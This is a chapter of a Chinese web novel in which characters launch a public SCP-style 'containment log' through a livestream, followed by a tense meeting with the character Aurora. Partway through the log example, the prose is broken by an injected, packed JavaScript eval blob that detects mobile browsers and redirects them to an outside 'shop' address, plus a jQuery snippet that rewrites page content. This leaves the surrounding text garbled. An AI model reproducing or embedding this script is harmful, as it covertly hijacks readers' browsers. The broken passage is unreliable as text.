——我方先死预言家，这不合规矩。没人出来说明游戏规则，怎么就喊开始了。


    甘融懒得和参与者玩这个游戏。


    她要直接杀制定规则的人。


    “前辈的意思是……太史森也得死？”


    况其多极力反对：“这太困难了，要知道命名作为最有效的攻击手段，威慑了不知道多少奇形怪状的污染物。他一死，研究院群龙无首，谁来保证收容日志的权威性？”


    幸子举牌：殿下杀伐果断，但太史院长不止是遗留的定海神针，在公民看来他也是广济首席的未亡人（这点似乎是他自封）；他死去，您就是将上任首席旧部赶尽杀绝的无义者，观望的民众会立刻被煽动情绪


    派大星不确定上层建筑的动荡，也不知道抽走地基会带来什么，她只是心里还记挂着应锐意的承诺。


    ……那浩瀚的世界，什么时候能到我手里呢？


    ……为什么至今为止，我只是想世界和平，却总是失去，又再次失去呢？


    文舒却扬起了眉梢，得意洋洋地朝派大星投去挑衅的一瞥！


    她不懂这些，只要派大星不说话她就是胜利。


    尔伏垂眸看着甘融。


    他和甘融是有体型差的，很多时候他像一头毛茸茸的大白熊笼罩着甘融，风吹过，衣物轻轻晃荡，云影在沾满尘土的红砖地上安静地滑动。


    大的那个，笼罩着小的那个。


    这样任何想要伤害甘融的人，锁定目标的时候，是否会有一点分心呢？


    甘融把手搭在派大星肩上，微微一笑：“那就还政于民。”


    派大星心中陡然一松，况其多也不再说话。


    不知道从什么时候开始，监测中心各位执行者自己都没有发觉的时候，已然潜移默化地把甘融的一言一行，奉为了金玉良言。


    派大星眼神欣喜：“啊，是吗——我们该如何做？”


    甘融说：“新纪元岗位太少，那就创造岗位，就叫调查员，收容日志平均分配，在监测中心分部领取，专门从事对污染物的命名和定义——用文字和人类的智慧去战斗！允许普通人用自己的生命来捍卫同类生存的权利，允许公民站到前线为时代效力！”


    甘融要每个人都参与进来，如果都是高层或高阶异能者掌控命运的齿轮，那么公民的存在就没有价值。


    没有价值的人非常容易被抛弃。


    摇篮时代那两座名为道德与法治的双子塔，终于迎来了属于他们的不讲道理的飞机。


    -


    S.C.P基金会，全称特殊收容措施基金会，是一个以怪诞科幻类的架空世界为主题的网络共笔文学小说集网站，同时也是及其衍生相关作品中的神秘虚构组织，专门发现各种超自然现象、神秘生物等异常事件。


    它在旧纪元是虚构的网站，新纪元11年被彻底摧毁。


    曾经它在甘融的记忆里风靡一时，大多新纪元污染物的展现形式也与它的收容物没有什么不同。


    只不过那太宏大了。


    甘融要所有人都来参与这个收容日志，个人要有参与感，生活中解构一些小的闹鬼事件，别让摇篮时代彻底被惯坏了。


    她开了直播。


    大家都是匿名的，这还是甘融第一次直面这么多人类，和大家在卡车上见面的那次匆忙又无助的投票不算。


    今天是3月10日。


    3月15日是首席次选，公民们嘀咕着提前五天能出什么好提案！


    洛A简直和王女一个样，都继承了洛克菲勒家族的幽默。


    甘融是站着的。


    弹幕最多的是——


    【站着说话不腰疼】


    【黑幕解决了吗就在这圈钱】


    【要我说蔺首席除了手段狠戾还有什么缺点？无为而治才是王道！】


    【……】


    【……那还是洛A吧……蔺+不把人当人，也不把异能者当人，这种首席我身为公民不大喜欢……】


    【你哪有资格】


    【独裁又如何？实打实的安稳还得看广G首席】


    【回来吧女王大人我想你】


    上亿条弹幕像水波般涌动。


    想必在万凭栏的眼里，外面的世界很吵吧。


    甘融指着小黑板，说：“这种《普通人收容日志》的核心魅力在于，日常生活的异常个体都可以用语言去描述，你不再是无可奈何的牺牲品噢。”


    坐在她面前的粉发小女孩用一本正经的官方报告口吻回答：“大家看嗷！就像这样！”


    她拎起一只袜子。


    “配套的袜子在哪呢！怎么老是这样呀……袜子袜子你在哪……？明天来找说不定就找到啦但是我只有这一双袜子又马上要出门要怎么办呢？”


    小女孩看起来非常乖巧懂事，“我要向《收容日志》描述这种情况，要是有好心人能给我解答，我的袜子就能回来了！”


    甘融思索了一会，刷刷刷在黑板上写下：


    [薛定谔的袜子]，我注视它，它消失；它注视我，它存在。


    边写还边用一种放得很轻缓的声音说：“我是一名公民，在十一抽杀律中失败了……我的人生，似乎只剩下去种地的选择。但监测中心分所突然缺人……我看了又看，喜欢得不得了……”


    “我报名，被选上。成功成为实习收容调查员，我所要收容的并非灭世级的怪物，监测中心有专人处理，我只是需要收容充斥在生活中、行为逻辑诡异、极度影响心情但又无法彻底摆脱的异常个体——比如不翼而飞的袜子。”


    “当我写下袜子那刻，这个D级污染物灰飞烟灭，那一瞬间我听见冥冥之中的预感告诉我：袜子在花瓶里。”


    小女孩“哇”了一声，把花瓶翻转，从里面拿出配套的另一只袜子。


    “原来在这里呀！”


    【挖靠，死亡芭比粉袜子还确实不好找】


    【谁在生产这种辣眼睛的东西】


    【真有[薛定谔的袜子]这种污染物吗？听起来也没那么吓人哈】


    【太抽象……太抽象了】


    【这一只不要了不行吗？！】


    【只有我觉得粉嫩嫩配色很好看吗】


    【谁能说动[祝*]来拍这种视频啊】


    【活久见。甲级异能者也是给我们表演猴戏了】


    【难道这真是洛A的晋升之路？说得有鼻子有眼的！她真是十一抽杀律的幸存者？】


    【确实我也老找不着袜子】


    【只有我一个人觉得洛A很聪明吗用袜子来瓦解普通人对污染物的恐惧】


    【还有我@mo但是这个袜子真的很辣眼】


    【其实……这是不是我们公民一直喊着的……合理的上升途径咩】


    【我们也配和异能者比吗】


    【这两人背台词一样哈哈哈哈哈哈我一直在笑】


    【洛A百忙之中还能哄我们啊】


    直播结束。


    短短十分钟，引爆整个元狩网络，SUN认为是推广元鼎的好时机，军方出品的白蟑螂以稳定上网、绝不泄密为卖点，部分公民选用此款AI。


    元狩对收容日志的定义没有改变，元鼎却率先更改词条，很多没有看直播的公民对热搜一头雾水：


    ＃一代人有一代人的收容日志＃


    #一张图了解□□#


    #奶奶立遗嘱要求我去当调查员#


    这和普通人有什么关系，收容日志不是只有丙级异能者以上才有资格使用吗？


    元鼎的解释很快就传遍了传统保守到极致的公民集体——


    项目名称：日常污染收容日志


    需要注意：允许“我们控制，我们收容，我们保护”，同样也允许“我们失效，我们跑路”，上报即可。


    核心概念：每个人都有的收容指南，沿用“Secure，Contain，Protect”（安全、遏制、保护）的简称。


    收容范例：130年3月13日，[办公室能量吸取者]，D


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757167|181006||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    级污染物，无特殊能力，由调查员云友香收容。


    收容描述：通常表现周围存在一个无形的“低气压场”。任何进入其半径3米内的公民都会感到莫名的疲惫、沮丧与创造力下降。


    收容状态：成功。


    甚至连三天都没有，监测中心就有了第一个敢吃螃蟹的公民。


    3月15日，首席次选，阿芙乐尔醒得很凑巧，她从她那张三米大床上苏醒时，甘融正在和派大星讨论该如何将这个项目独立运转起来，负责人应该是谁。


    高阶异能者必然不能参与，SUN管制的话最后一定会适得其反，可是让普通人来，例如云友香，又担心某天她突然死去。


    阿芙乐尔发出虚弱沙哑的声音：“……你们在说什么？”


    派大星就全和她说了。


    阿芙乐尔看了甘融一眼，甘融立刻起了密密的鸡皮疙瘩，像面对大型野兽的条件反射：“对不起……真的很对不起。”


    “不用道歉。”阿芙乐尔对万凭栏死亡一事保持沉默，对收容日志项目同样也保持沉默，她睁眼闭眼之刻，那片绿意盎然的翡翠，突然黯淡下去。


    甘融怕她想不开，早晨自她醒来就就一直陪着她，现在看着她这样，手都不知道该往哪放。


    阿芙乐尔说：“没关系，我只是没想到。”


    她唇色有点苍白，气氛显得有些尴尬——因为甘融是杀人凶手，她下手的时候那叫一个利落，很多人是不能接受的。


    但阿芙乐尔却什么也没说。


    她只是觉得很冷。


    长期的黑幕导致温度下降十度，阿芙乐尔认为这是正常的，她问甘融墓在哪。


    “就在第二城旁边……你们不是……在那里留下过，一个，坟冢吗？”


    那也是众所周知的事了。


    阿芙乐尔和万凭栏通常在恶劣天气下执行任务，因为万凭栏有着【上帝视角】，可以找到源头，而阿芙乐尔的【鬼门十三针】又很隐蔽。


    最出名的一次是暴风雪来临，海面也惊涛骇浪，急冻气温让被困人员开始脱衣服，把仅剩的食物水源倾倒在土壤里，脸上还露出迷幻的满意微笑。


    这个事件被太史森命名为[卖火柴的小女孩]，因为人被冻死的时候会产生幻觉，会感到温暖，童话其实是写实的。


    “……你为什么要嘲笑别人求生的样子，太史叔叔？”


    阿芙乐尔去给这些被冻死的人收尸，靴子踩在脏雪和泥沙里，好像从脚底淌下阴郁的眼泪。


    太史森改成[饥寒]，好歹艾娃叫他一声叔叔呢，就给几分薄面吧。


    阿芙乐尔目光在甘融和派大星身上来回逡巡，与生俱来的强横气势倒也还好，但她身上还有赵广济的余威，邪性磅礴。


    派大星感觉自己好像有点死了。


    她嘎巴一声晕过去，在门口等候的幸子也敏锐，她有种浓浓的畏怯和不安……十六夜更害怕这种力量，达到了二十年来最安静的时刻。


    “阿芙乐尔。”甘融语调平和，“你控制不住自己的话，我会连着你一起杀。”


    阿芙乐尔看着她，眼神带着一股薄薄的血腥气，但她的语气却不自觉发飘：“失去万凭栏的后果我承受不起，我太自大。”


    “路漫漫，徐行亦至。”甘融抓住她的手，呼吸一滞。


    好冷的手。


    阿芙乐尔为了减弱赵广济的影响，强制延缓自己的生理活动。


    “冷静、保持冷静。万凭栏告诉我，恐惧和疯狂同出一辙，那么我怀疑你和他遭遇到的是最核心的[天黑请闭眼]，目前被污染的群众一般都是表现为极度惊恐……只有你、万凭栏和榊和花处于完全失控的兴奋状态。”


    “太史森想为天子出头，就成了夫子。”阿芙乐尔嗓音喑哑，“我盗墓的行动一定惹怒了他。”


    “当时有什么不对劲？”


    “太多，我说不完。凡吉凶之兆皆曰祥，灾祸与吉祥也是一体两面，追逐我们的墓石也将我们误打误撞送去墓室。”